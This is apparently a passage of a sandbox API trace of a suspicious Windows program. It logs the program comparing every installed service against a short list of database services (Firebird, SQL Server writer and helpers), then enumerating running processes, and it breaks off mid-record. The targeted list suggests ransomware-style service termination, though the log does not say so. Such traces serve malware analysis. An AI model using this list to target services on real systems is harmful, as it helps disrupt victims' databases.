lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0204.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0204.476] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0204.476] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0204.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0204.476] lstrlenW (lpString="iphlpsvc") returned 8 [0204.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0204.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0204.476] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0204.476] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0204.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0204.476] lstrlenW (lpString="KeyIso") returned 6 [0204.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0204.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0204.476] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0204.476] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0204.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0204.477] lstrlenW (lpString="LanmanServer") returned 12 [0204.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0204.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0204.477] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0204.477] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0204.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0204.477] lstrlenW (lpString="LanmanWorkstation") returned 17 [0204.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0204.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0204.477] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0204.477] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0204.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0204.477] lstrlenW (lpString="lfsvc") returned 5 [0204.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0204.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0204.477] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0204.477] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0204.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0204.477] lstrlenW (lpString="lmhosts") returned 7 [0204.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0204.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0204.477] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0204.477] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0204.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0204.477] lstrlenW (lpString="LSM") returned 3 [0204.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0204.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0204.477] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0204.477] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0204.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0204.478] lstrlenW (lpString="MpsSvc") returned 6 [0204.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0204.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0204.478] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0204.478] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0204.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0204.478] lstrlenW (lpString="NcbService") returned 10 [0204.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0204.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0204.478] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0204.478] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0204.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0204.478] lstrlenW (lpString="netprofm") returned 8 [0204.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0204.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0204.478] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0204.478] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0204.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0204.478] lstrlenW (lpString="NgcSvc") returned 6 [0204.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0204.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0204.478] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0204.478] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0204.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0204.478] lstrlenW (lpString="NlaSvc") returned 6 [0204.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0204.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0204.479] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0204.479] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0204.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0204.479] lstrlenW (lpString="nsi") returned 3 [0204.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0204.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0204.479] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0204.479] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0204.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0204.479] lstrlenW (lpString="PcaSvc") returned 6 [0204.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0204.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0204.479] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0204.479] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0204.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0204.479] lstrlenW (lpString="PlugPlay") returned 8 [0204.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0204.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0204.479] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0204.479] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0204.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0204.479] lstrlenW (lpString="Power") returned 5 [0204.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0204.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0204.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0204.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0204.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0204.480] lstrlenW (lpString="ProfSvc") returned 7 [0204.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0204.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0204.480] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0204.480] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0204.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0204.480] lstrlenW (lpString="RpcEptMapper") returned 12 [0204.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0204.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0204.480] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0204.480] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0204.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0204.480] lstrlenW (lpString="RpcSs") returned 5 [0204.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0204.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0204.480] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0204.480] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0204.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0204.480] lstrlenW (lpString="SamSs") returned 5 [0204.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0204.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0204.480] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0204.480] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0204.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0204.480] lstrlenW (lpString="Schedule") returned 8 [0204.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0204.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0204.480] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0204.480] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0204.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0204.481] lstrlenW (lpString="SecurityHealthService") returned 21 [0204.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0204.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0204.481] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0204.481] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0204.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0204.481] lstrlenW (lpString="SENS") returned 4 [0204.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0204.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0204.481] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0204.481] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0204.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0204.481] lstrlenW (lpString="ShellHWDetection") returned 16 [0204.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0204.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0204.481] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0204.481] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0204.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0204.481] lstrlenW (lpString="Spooler") returned 7 [0204.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0204.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0204.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0204.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0204.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0204.481] lstrlenW (lpString="SSDPSRV") returned 7 [0204.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0204.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0204.481] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0204.481] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0204.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0204.482] lstrlenW (lpString="StateRepository") returned 15 [0204.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0204.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0204.482] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0204.482] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0204.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0204.482] lstrlenW (lpString="SysMain") returned 7 [0204.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0204.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0204.482] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0204.482] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0204.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0204.482] lstrlenW (lpString="SystemEventsBroker") returned 18 [0204.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0204.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0204.482] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0204.482] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0204.483] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c4 [0204.583] Process32FirstW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.584] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0204.585] lstrlenW (lpString="System") returned 6 [0204.586] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0204.586] lstrlenW (lpString="smss.exe") returned 8 [0204.587] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0204.587] lstrlenW (lpString="csrss.exe") returned 9 [0204.588] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0204.588] lstrlenW (lpString="wininit.exe") returned 11 [0204.589] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0204.589] lstrlenW (lpString="csrss.exe") returned 9 [0204.590] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0204.590] lstrlenW (lpString="winlogon.exe") returned 12 [0204.590] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0204.591] lstrlenW (lpString="services.exe") returned 12 [0204.591] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0204.592] lstrlenW (lpString="lsass.exe") returned 9 [0204.592] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0204.593] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0204.593] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0204.594] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0204.594] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.597] lstrlenW (lpString="svchost.exe") returned 11 [0204.597] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.598] lstrlenW (lpString="svchost.exe") returned 11 [0204.598] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0204.599] lstrlenW (lpString="dwm.exe") returned 7 [0204.599] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.600] lstrlenW (lpString="svchost.exe") returned 11 [0204.600] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.600] lstrlenW (lpString="svchost.exe") returned 11 [0204.601] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.601] lstrlenW (lpString="svchost.exe") returned 11 [0204.602] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.602] lstrlenW (lpString="svchost.exe") returned 11 [0204.603] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.603] lstrlenW (lpString="svchost.exe") returned 11 [0204.604] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.604] lstrlenW (lpString="svchost.exe") returned 11 [0204.604] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.605] lstrlenW (lpString="svchost.exe") returned 11 [0204.605] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.606] lstrlenW (lpString="svchost.exe") returned 11 [0204.606] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.607] lstrlenW (lpString="svchost.exe") returned 11 [0204.607] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.608] lstrlenW (lpString="svchost.exe") returned 11 [0204.608] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0204.609] lstrlenW (lpString="spoolsv.exe") returned 11 [0204.609] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.737] lstrlenW (lpString="svchost.exe") returned 11 [0204.738] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0204.739] lstrlenW (lpString="audiodg.exe") returned 11 [0204.739] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0204.740] lstrlenW (lpString="sihost.exe") returned 10 [0204.740] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.741] lstrlenW (lpString="svchost.exe") returned 11 [0204.741] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0204.742] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0204.742] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0204.742] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0204.743] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0204.743] lstrlenW (lpString="Memory Compression") returned 18 [0204.743] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0204.744] lstrlenW (lpString="taskhostw.exe") returned 13 [0204.744] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, 